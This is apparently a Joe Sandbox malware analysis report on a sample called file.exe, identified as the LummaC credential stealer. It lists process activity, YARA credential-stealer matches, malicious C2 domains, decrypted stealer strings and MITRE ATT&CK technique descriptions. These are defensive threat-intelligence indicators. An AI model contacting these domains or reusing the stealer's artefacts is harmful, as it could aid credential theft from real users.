2024-11-20 07:12:40 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.6	49862	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:40 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:41 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:41 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: e99758fe-d01e-0065-348c-3ab77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071241Z-185f5d8b95c9mqtvhC1NYCghtc00000009ug00000000qcpe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:41 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Target ID:	0
Start time:	02:12:17
Start date:	20/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xa0000
File size:	1'855'488 bytes
MD5 hash:	828B27824DCB03A47D868B1193B68944
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2298524080.0000000000C28000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2285635426.0000000000C28000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	02:12:47
Start date:	20/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	02:12:47
Start date:	20/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=1968,i,14799726461208701850,5015195389532217883,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	02:12:50
Start date:	20/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	02:12:50
Start date:	20/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1136 --field-trial-handle=1984,i,5282008535035960961,1957362739871004038,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Source: https://cook-rain.sbs/K	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/api_	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/H	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/apim	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/apigs	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/g	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/ordpas	Avira URL Cloud: Label: malware

Source: 00000000.00000002.2561700554.00000000000A1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: p3ar11fter.sbs
Source: 00000000.00000002.2561700554.00000000000A1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: 3xp3cts1aim.sbs
Source: 00000000.00000002.2561700554.00000000000A1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: peepburry828.sbs
Source: 00000000.00000002.2561700554.00000000000A1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: p10tgrace.sbs
Source: 00000000.00000002.2561700554.00000000000A1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: processhol.sbs
Source: 00000000.00000002.2561700554.00000000000A1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.2561700554.00000000000A1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.2561700554.00000000000A1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.2561700554.00000000000A1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.2561700554.00000000000A1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Windows Analysis Report
file.exe